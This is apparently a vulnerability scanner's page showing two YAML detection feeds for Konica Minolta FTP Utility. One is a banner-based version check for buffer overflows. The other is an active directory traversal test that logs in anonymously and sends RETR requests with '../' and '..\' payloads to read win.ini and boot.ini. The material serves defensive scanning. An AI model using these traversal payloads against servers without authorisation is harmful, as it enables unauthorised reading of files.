Konica Minolta FTP Utility — 2 vulnerability checks

noctis ships 2 vulnerability checks for Konica Minolta FTP Utility, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Konica Minolta FTP Utility USER / CWD Buffer Overflows

CVECVE-2015-7767, CVE-2015-7768
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicesftp
Detectionset_var, tcp_dialogue, script, match · highest QoD 70
Feedtests/vulnerabilities/konica-minolta-ftp-utility/konica-ftp-utility-buffer-overflows.yaml

Konica Minolta FTP Utility 1.0 copies the argument of the FTP USER command (before any login) and of the CWD command (after a login, anonymous by default) into fixed-size stack buffers without a length check: an overlong argument overwrites the structured exception handler and lets a remote attacker run code on the Windows host or crash the server. The check reads the FTP greeting and flags "220 FTP Utility FTP server (Version 1.00)" (version 1.0 and earlier). The product is no longer maintained, so every install is affected. It is a version check: the flaws are only triggered by overwriting server memory, so no exploit is sent.

How noctis detects it

  1. TCP dialogue: QUIT
  2. Parses / computes the next value with a Rhai script
  3. Checks kmver for ^[0-9] → finding QoD 70: FTP greeting: FTP Utility FTP server (Version …) — Konica Minolta FTP Utility 1.0 and earlier, no fixed release (USER / CWD overflows not t…

References:

Feed source — tests/vulnerabilities/konica-minolta-ftp-utility/konica-ftp-utility-buffer-overflows.yaml
# Konica Minolta FTP Utility 1.0 — pre-auth USER overflow (CVE-2015-7767) and
# CWD overflow (CVE-2015-7768), both stack/SEH overflows turned into code
# execution by public exploits (EDB-38254 USER, Metasploit
# exploit/windows/ftp/kmftp_utility_cwd). The product is discontinued: no
# fixed release exists.
#
# Covers the two overflow CVEs of backlog issue #1254, whose source NVT
# (OpenVAS/Greenbone 2015/gb_konica_minolta_ftp_utility_mult_vuln.nasl, OID
# 1.3.6.1.4.1.25623.1.0.805750, GPL-2.0-only) lists them but only proves the
# directory traversal (CVE-2015-7603.yaml next to this file).
#
# Version check on purpose: the only trigger is an oversized USER / CWD
# argument that overwrites the stack and crashes or hijacks the server, so
# there is no benign proof. The fingerprint is the one Metasploit's check()
# and the nmap service probe use: "220 FTP Utility FTP server (Version 1.00)
# ready.". Nothing is sent but QUIT after the greeting.
uid: d6eb01ab-361c-4228-98b8-a8092c8d1c90
name: "Konica Minolta FTP Utility USER / CWD Buffer Overflows (CVE-2015-7767, CVE-2015-7768)"
description: |
  Konica Minolta FTP Utility 1.0 copies the argument of the FTP USER command
  (before any login) and of the CWD command (after a login, anonymous by
  default) into fixed-size stack buffers without a length check: an overlong
  argument overwrites the structured exception handler and lets a remote
  attacker run code on the Windows host or crash the server. The check reads
  the FTP greeting and flags "220 FTP Utility FTP server (Version 1.00)"
  (version 1.0 and earlier). The product is no longer maintained, so every
  install is affected. It is a version check: the flaws are only triggered by
  overwriting server memory, so no exploit is sent.
cves: [CVE-2015-7767, CVE-2015-7768]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [konica-minolta, ftp-utility, ftp, buffer-overflow, windows, version-check, unauthenticated]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7767"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7768"
  - "https://www.exploit-db.com/exploits/38254"
  - "https://www.rapid7.com/db/modules/exploit/windows/ftp/kmftp_utility_cwd/"

steps:
  - id: init-greet
    action: set_var
    var_name: greet
    var_value: {banner: "", transcript: ""}

  # The greeting, then QUIT (its read also catches a late greeting).
  - id: greeting
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    commands:
      - "QUIT"
    store_as: greet

  - id: version
    action: script
    code: |
      let t = "";
      if type_of(greet.banner) == "string" { t += greet.banner; }
      if type_of(greet.transcript) == "string" { t += "\n" + greet.transcript; }
      let m = eregmatch("(?im)^220[ -]FTP Utility FTP server \\(Version ([0-9]+(?:\\.[0-9]+)*)\\)", t);
      if m.len() < 2 { "" } else {
        let p = split(m[1], ".");
        let major = int(p[0]);
        let minor = if p.len() > 1 { int(p[1]) } else { 0 };
        if major < 1 || (major == 1 && minor == 0) { m[1] } else { "" }
      }
    store_as: kmver

  - id: vulnerable-version
    action: match
    source: kmver
    pattern: "^[0-9]"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 70
        evidence: "FTP greeting: FTP Utility FTP server (Version {{kmver}}) — Konica Minolta FTP Utility 1.0 and earlier, no fixed release (USER / CWD overflows not triggered, they would overwrite server memory)."

Konica Minolta FTP Utility Directory Traversal

CVECVE-2015-7603
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Servicesftp
Detectionset_var, script, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/konica-minolta-ftp-utility/CVE-2015-7603.yaml

Detects the directory traversal in Konica Minolta FTP Utility 1.0, whose FTP server does not filter ".." segments in RETR paths, so any FTP user (anonymous access is on by default) can download any file of the drive. The test reads the FTP greeting and goes on only for this product ("220 FTP Utility FTP server (Version …) ready."). It logs in with the scan credentials when supplied, otherwise anonymously, opens a passive data connection and requests RETR ../../../../../../../../windows/win.ini, then the same path to winnt/win.ini and boot.ini, and finally the backslash form ..\..\..\..\..\..\..\..\windows\win.ini. It is confirmed when the transferred file carries the signature of the Windows system file ("[fonts]" / "; for 16-bit app support", or "[boot loader]"), a second request for a random absent file next to it is refused without returning that signature, and the same file requested without any ".." is refused too, which shows that the ".." segments are what reach it (when these two requests cannot run, the result is reported with lower confidence). The test only reads public Windows configuration files.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends … on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Sends USER {{cred_username}} on the open socket
  6. Sends PASS {{cred_password}} on the open socket
  7. Sends … on the open socket
  8. Parses / computes the next value with a Rhai script
  9. Opens a persistent TCP/TLS socket
  10. Sends USER anonymous on the open socket
  11. Sends PASS noctis@example.com on the open socket
  12. Sends … on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Sends PASV on the open socket
  15. … and 27 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/konica-minolta-ftp-utility/CVE-2015-7603.yaml
# Konica Minolta FTP Utility 1.0 — directory traversal in RETR —
# CVE-2015-7603 (shinnai, EDB-38260, September 2015).
#
# FTP Utility (the Windows FTP server Konica Minolta shipped for scan-to-FTP)
# does not sanitise RETR paths: "../" (or "..\") segments climb out of the
# shared folder and any user — anonymous is enabled by default — downloads
# any file of the drive. Metasploit auxiliary/scanner/ftp/konica_ftp_traversal
# sends RETR ..//..//…//boot.ini (same as "../" once segments resolve); NVD
# describes the "..\" form. The product is
# discontinued: no fixed release.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_konica_minolta_ftp_utility_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805750, GPL-2.0-only): product detected from the
# FTP greeting, FTP login (scan credentials, default anonymous), PASV, then
# for each Windows traversal file "RETR ../../../../../../../../<file>" and
# report when the data connection returns the file's signature.
#
# The NVT also lists CVE-2015-7767 (USER overflow) and CVE-2015-7768 (CWD
# overflow) but proves neither; they are covered by the version check
# konica-ftp-utility-buffer-overflows.yaml. This feed reports CVE-2015-7603
# only, the CVE it proves.
#
# Deviations from the NVT (stronger detection, stated in the PR):
#   * Refused scan credentials (request-wide, often meant for another
#     service) fall back to an anonymous login on a fresh connection.
#   * The NVD "..\" form is tried last, for a server that only splits on "\".
#   * Absent-file control: after a hit, the same RETR of a random absent file
#     named after the probed one must be refused (550/553/450) and return no
#     file signature, so a blanket responder gives no finding; when the
#     controls cannot run the read is reported at QoD 70 instead of 75.
#   * Baseline control: the same file named without any ".." must NOT be
#     served — otherwise the shared folder is the drive root, where even a
#     server that clamps ".." reaches C:\windows\win.ini.
#   * The PASV address is ignored: the data connection goes to the scanned
#     host (the NVT does the same), so a NATed server still works.
#   * A late greeting / PASS / PASV / RETR reply is re-read instead of
#     shifting the dialogue.
#
# Read-only: after login only PASV, RETR and QUIT are sent, and only the
# public win.ini / boot.ini files are read.
uid: a755a084-f760-45db-89c2-5d0f3f22ac09
name: "Konica Minolta FTP Utility Directory Traversal (CVE-2015-7603)"
description: |
  Detects the directory traversal in Konica Minolta FTP Utility 1.0, whose FTP
  server does not filter ".." segments in RETR paths, so any FTP user
  (anonymous access is on by default) can download any file of the drive.
  The test reads the FTP greeting and goes on only for this product
  ("220 FTP Utility FTP server (Version …) ready."). It logs in with the scan
  credentials when supplied, otherwise anonymously, opens a passive data
  connection and requests RETR ../../../../../../../../windows/win.ini, then
  the same path to winnt/win.ini and boot.ini, and finally the backslash form
  ..\..\..\..\..\..\..\..\windows\win.ini. It is confirmed when the
  transferred file carries the signature of the Windows system file
  ("[fonts]" / "; for 16-bit app support", or "[boot loader]"), a second
  request for a random absent file next to it is refused without returning
  that signature, and the same file requested without any ".." is refused
  too, which shows that the ".." segments are what reach it (when these two
  requests cannot run, the result is reported with lower confidence). The
  test only reads public Windows configuration files.
cves: [CVE-2015-7603]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [konica-minolta, ftp-utility, ftp, path-traversal, file-read, windows]
services: [ftp]
author: noctis
version: "1.0.1"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7603"
  - "https://www.exploit-db.com/exploits/38260"
  - "https://www.rapid7.com/db/modules/auxiliary/scanner/ftp/konica_ftp_traversal/"

steps:
  # Pre-init everything the scripts and conditions read before the loop: a
  # failed step stores nothing, and an undefined variable aborts the test.
  - id: init-ftpo
    action: set_var
    var_name: ftpo
    var_value: {banner: "", connected: false}
  - id: init-greet-late
    action: set_var
    var_name: greet_late
    var_value: {response: ""}
  - id: init-cpass
    action: set_var
    var_name: cpass
    var_value: {response: ""}
  - id: init-cpass-late
    action: set_var
    var_name: cpass_late
    var_value: {response: ""}
  - id: init-apass
    action: set_var
    var_name: apass
    var_value: {response: ""}
  - id: init-apass-late
    action: set_var
    var_name: apass_late
    var_value: {response: ""}

  # ── 1. Login: scan credentials when supplied, else anonymous ─────────────
  - id: pick-login
    action: script
    code: |
      cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
    store_as: use_cred

  - id: open
    action: tcp_open
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo

  # A slow server greets late: read it again before USER so it is not taken
  # as the USER reply.
  - id: greet-wait
    action: sleep
    condition: 'type_of(ftpo.banner) != "string" || !ereg("(^|\\n)220 ", ftpo.banner)'
    duration_ms: 3000

  - id: greet-late
    action: tcp_send
    condition: 'type_of(ftpo.banner) != "string" || !ereg("(^|\\n)220 ", ftpo.banner)'
    handle: ftp
    send: ""
    store_as: greet_late

  # Product gate, as the CVE belongs to this server only: the greeting
  # "220 FTP Utility FTP server (Version 1.00) ready." (fixed in the product).
  - id: product
    action: script
    code: |
      let g = "";
      if type_of(ftpo.banner) == "string" { g += ftpo.banner; }
      if type_of(greet_late.response) == "string" { g += "\n" + greet_late.response; }
      ereg("(?im)^220[ -]FTP Utility FTP server\\b", g)
    store_as: is_km

  - id: cred-user
    action: tcp_send
    condition: "is_km == true && use_cred == true"
    handle: ftp
    send: "USER {{cred_username}}\r\n"
    store_as: cuser

  - id: cred-pass
    action: tcp_send
    condition: "is_km == true && use_cred == true"
    handle: ftp
    send: "PASS {{cred_password}}\r\n"
    store_as: cpass

  - id: cred-pass-wait
    action: sleep
    condition: 'is_km == true && use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    duration_ms: 3000

  - id: cred-pass-late
    action: tcp_send
    condition: 'is_km == true && use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    handle: ftp
    send: ""
    store_as: cpass_late

  - id: cred-state
    action: script
    code: |
      let r = "";
      if type_of(cpass.response) == "string" { r += cpass.response; }
      if type_of(cpass_late.response) == "string" { r += "\n" + cpass_late.response; }
      is_km && use_cred && ereg("(^|\n)230[ -]", r)
    store_as: cred_ok

  # Credentials refused: anonymous login on a fresh connection.
  - id: reopen-close
    action: tcp_close
    condition: "is_km == true && cred_ok == false && use_cred == true"
    handle: ftp

  - id: reopen
    action: tcp_open
    condition: "is_km == true && cred_ok == false && use_cred == true"
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo2

  - id: anon-user
    action: tcp_send
    condition: "is_km == true && cred_ok == false"
    handle: ftp
    send: "USER anonymous\r\n"
    store_as: auser

  - id: anon-pass
    action: tcp_send
    condition: "is_km == true && cred_ok == false"
    handle: ftp
    send: "PASS noctis@example.com\r\n"
    store_as: apass

  - id: anon-pass-wait
    action: sleep
    condition: 'is_km == true && cred_ok == false && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    duration_ms: 3000

  - id: anon-pass-late
    action: tcp_send
    condition: 'is_km == true && cred_ok == false && (type_of(apass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", apass.response))'
    handle: ftp
    send: ""
    store_as: apass_late

  - id: logged-in
    action: script
    code: |
      let r = "";
      if type_of(apass.response) == "string" { r += apass.response; }
      if type_of(apass_late.response) == "string" { r += "\n" + apass_late.response; }
      is_km && (cred_ok || ereg("(^|\n)230[ -]", r))
    store_as: logged_in

  # ── 2. One passive RETR per traversal file (loop group) ──────────────────
  # The loop step and the set_var steps after it reset every per-iteration
  # result, so nothing from the previous file is read again.
  - id: reset-proof
    action: set_var
    loop:
      var: probe
      over:
        - {path: '../../../../../../../../windows/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows/win.ini'}
        - {path: '../../../../../../../../winnt/win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'winnt/win.ini'}
        - {path: '../../../../../../../../boot.ini', pat: '(?m)^(\[boot loader\])\r?$', file: 'boot.ini'}
        - {path: '..\..\..\..\..\..\..\..\windows\win.ini', pat: '(?m)^(; for 16-bit app support|\[fonts\])\r?$', file: 'windows\win.ini'}
    var_name: proof
    var_value: ""
  - id: reset-ctl-state
    action: set_var
    var_name: ctl_state
    var_value: "none"
  - id: reset-dport
    action: set_var
    var_name: dport
    var_value: 0
  - id: reset-cport
    action: set_var
    var_name: cport
    var_value: 0
  - id: reset-pasv
    action: set_var
    var_name: pasv
    var_value: {response: ""}
  - id: reset-pasv-late
    action: set_var
    var_name: pasv_late
    var_value: {response: ""}
  - id: reset-retr
    action: set_var
    var_name: retr
    var_value: {response: ""}
  - id: reset-retr-late
    action: set_var
    var_name: retr_late
    var_value: {response: ""}
  - id: reset-dat
    action: set_var
    var_name: dat
    var_value: {response: ""}
  - id: reset-dat-late
    action: set_var
    var_name: dat_late
    var_value: {response: ""}
  - id: reset-cpasv
    action: set_var
    var_name: cpasv
    var_value: {response: ""}
  - id: reset-cpasv-late
    action: set_var
    var_name: cpasv_late
    var_value: {response: ""}
  - id: reset-bpasv
    action: set_var
    var_name: bpasv
    var_value: {response: ""}
  - id: reset-bpasv-late
    action: set_var
    var_name: bpasv_late
    var_value: {response: ""}
  - id: reset-bretr
    action: set_var
    var_name: bretr
    var_value: {response: ""}
  - id: reset-bretr-late
    action: set_var
    var_name: bretr_late
    var_value: {response: ""}
  - id: reset-bdat
    action: set_var
    var_name: bdat
    var_value: {response: ""}
  - id: reset-bdat-late
    action: set_var
    var_name: bdat_late
    var_value: {response: ""}
  - id: reset-bport
    action: set_var
    var_name: bport
    var_value: 0
  - id: reset-cretr
    action: set_var
    var_name: cretr
    var_value: {response: ""}
  - id: reset-cretr-late
    action: set_var
    var_name: cretr_late
    var_value: {response: ""}
  - id: reset-cdat
    action: set_var
    var_name: cdat
    var_value: {response: ""}

  - id: pasv
    action: tcp_send
    condition: "logged_in == true"
    handle: ftp
    send: "PASV\r\n"
    store_as: pasv

  - id: pasv-wait
    action: sleep
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    duration_ms: 3000

  - id: pasv-late
    action: tcp_send
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    handle: ftp
    send: ""
    store_as: pasv_late

  - id: pasv-port
    action: script
    condition: "logged_in == true"
    code: |
      let t = "";
      if type_of(pasv.response) == "string" { t += pasv.response; }
      if type_of(pasv_late.response) == "string" { t += "\n" + pasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: dport

  - id: data-open
    action: tcp_open
    condition: "dport > 0"
    handle: data
    port: "{{dport}}"
    timeout_secs: 10
    store_as: dopen

  - id: retr
    action: tcp_send
    condition: "dport > 0"
    handle: ftp
    send: "RETR {{probe.path}}\r\n"
    store_as: retr

  # Empty send = read what the server wrote on the data connection.
  - id: data-read
    action: tcp_send
    condition: "dport > 0"
    handle: data
    send: ""
    store_as: dat

  # Consume the RETR's final 226 (or error) so it is not read as the next
  # PASV reply; a slow transfer is read again on the data connection.
  - id: retr-wait
    action: sleep
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    duration_ms: 3000

  - id: data-read-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: data
    send: ""
    store_as: dat_late

  - id: retr-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: ftp
    send: ""
    store_as: retr_late

  - id: data-close
    action: tcp_close
    handle: data

  # The signature line of the probed system file, or "" (the raw file never
  # becomes evidence). A RETR refused with 4xx/5xx is no proof.
  - id: proof
    action: script
    condition: "dport > 0"
    code: |
      let r = "";
      if type_of(retr.response) == "string" { r += retr.response; }
      if type_of(retr_late.response) == "string" { r += "\n" + retr_late.response; }
      let d = "";
      if type_of(dat.response) == "string" { d += dat.response; }
      if type_of(dat_late.response) == "string" { d += dat_late.response; }
      let m = eregmatch(probe.pat, d);
      if m.len() > 1 && !ereg("(^|\n)[45][0-9][0-9][ -]", r) { m[1] } else { "" }
    store_as: proof

  # ── 3. Control: an absent file next to the probed one must be refused ────
  - id: ctl-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: cpasv

  - id: ctl-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    duration_ms: 3000

  - id: ctl-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(cpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", cpasv.response))'
    handle: ftp
    send: ""
    store_as: cpasv_late

  - id: ctl-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(cpasv.response) == "string" { t += cpasv.response; }
      if type_of(cpasv_late.response) == "string" { t += "\n" + cpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: cport

  - id: ctl-data-open
    action: tcp_open
    condition: 'proof != "" && cport > 0'
    handle: cdata
    port: "{{cport}}"
    timeout_secs: 10
    store_as: copen

  - id: ctl-retr
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: ftp
    send: "RETR {{probe.path}}.noctis-absent-{{oob_token}}\r\n"
    store_as: cretr

  - id: ctl-data-read
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: cdata
    send: ""
    store_as: cdat

  - id: ctl-wait
    action: sleep
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    duration_ms: 3000

  - id: ctl-retr-late
    action: tcp_send
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", cretr.response))'
    handle: ftp
    send: ""
    store_as: cretr_late

  - id: ctl-data-close
    action: tcp_close
    handle: cdata

  # Baseline: the same file named relative to the FTP folder, without any
  # "..". If it is served too, the shared folder is the drive root (a server
  # that clamps ".." serves C:\windows\win.ini as well): the traversal
  # proves nothing, so no finding.
  - id: base-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: bpasv

  - id: base-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    duration_ms: 3000

  - id: base-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(bpasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", bpasv.response))'
    handle: ftp
    send: ""
    store_as: bpasv_late

  - id: base-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(bpasv.response) == "string" { t += bpasv.response; }
      if type_of(bpasv_late.response) == "string" { t += "\n" + bpasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: bport

  - id: base-data-open
    action: tcp_open
    condition: 'proof != "" && bport > 0'
    handle: bdata
    port: "{{bport}}"
    timeout_secs: 10
    store_as: bopen

  - id: base-retr
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: ftp
    send: "RETR {{probe.file}}\r\n"
    store_as: bretr

  - id: base-data-read
    action: tcp_send
    condition: 'proof != "" && bport > 0'
    handle: bdata
    send: ""
    store_as: bdat

  - id: base-wait
    action: sleep
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    duration_ms: 3000

  - id: base-data-read-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: bdata
    send: ""
    store_as: bdat_late

  - id: base-retr-late
    action: tcp_send
    condition: 'proof != "" && bport > 0 && (type_of(bretr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", bretr.response))'
    handle: ftp
    send: ""
    store_as: bretr_late

  - id: base-data-close
    action: tcp_close
    handle: bdata

  - id: ctl-state
    action: script
    condition: 'proof != ""'
    code: |
      let r = "";
      if type_of(cretr.response) == "string" { r += cretr.response; }
      if type_of(cretr_late.response) == "string" { r += "\n" + cretr_late.response; }
      let d = "";
      if type_of(cdat.response) == "string" { d = cdat.response; }
      let b = "";
      if type_of(bdat.response) == "string" { b += bdat.response; }
      if type_of(bdat_late.response) == "string" { b += bdat_late.response; }
      let br = "";
      if type_of(bretr.response) == "string" { br += bretr.response; }
      if type_of(bretr_late.response) == "string" { br += "\n" + bretr_late.response; }
      // A 1xx preliminary reply means a served file only when no refusal
      // follows it (some servers send 150 before a 550 for a missing file).
      let refused = ereg("(^|\n)(550|553|450)[ -]", r);
      let brefused = ereg("(^|\n)(550|553|450)[ -]", br);
      if ereg(probe.pat, d) || ereg(probe.pat, b) || (ereg("(^|\n)1[0-9][0-9][ -]", r) && !refused) || (ereg("(^|\n)1[0-9][0-9][ -]", br) && !brefused) { "blanket" }
      else if refused && brefused { "clean" }
      else { "none" }
    store_as: ctl_state

  # ── 4. Report (stop: true ends the test on the first confirmed file) ─────
  - id: report
    action: match
    source: ctl_state
    pattern: "^clean$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "Konica Minolta FTP Utility Directory Traversal (CVE-2015-7603)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection, while a random absent file at the same place was refused and the same file named without \"..\" was not served: the \"..\" segments escape the shared FTP folder."
        remediation: "Konica Minolta FTP Utility is no longer maintained and no fixed release exists: uninstall it or stop its FTP server, and never expose it to untrusted networks. Disable anonymous access where the server must keep running."
        confidence_delta: 0.55
        qod: 75
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the absent-file control was refused and {{probe.file}} without .. was not served"
      stop: true

  - id: report-uncontrolled
    action: match
    source: ctl_state
    pattern: "^none$"
    condition: 'proof != ""'
    on_match:
      finding:
        title: "Konica Minolta FTP Utility Directory Traversal (CVE-2015-7603)"
        description: "After an FTP login, RETR {{probe.path}} returned the Windows system file {{probe.file}} on the data connection. The absent-file and no-traversal controls could not both run, so the result is reported with lower confidence."
        remediation: "Konica Minolta FTP Utility is no longer maintained and no fixed release exists: uninstall it or stop its FTP server, and never expose it to untrusted networks. Disable anonymous access where the server must keep running."
        confidence_delta: 0.40
        qod: 70
        evidence: "RETR {{probe.path}} returned {{probe.file}} (signature line: {{proof}}); the controls could not both run"
      stop: true

  # A one-pass loop ends the group above, so QUIT runs once after the last
  # file when nothing was found (a finding stops the test; the socket is
  # dropped with it).
  - id: quit
    action: tcp_send
    loop:
      var: done
      count: 1
    condition: "logged_in == true"
    handle: ftp
    send: "QUIT\r\n"
    store_as: quit

  - id: close
    action: tcp_close
    handle: ftp

View these feeds on GitHub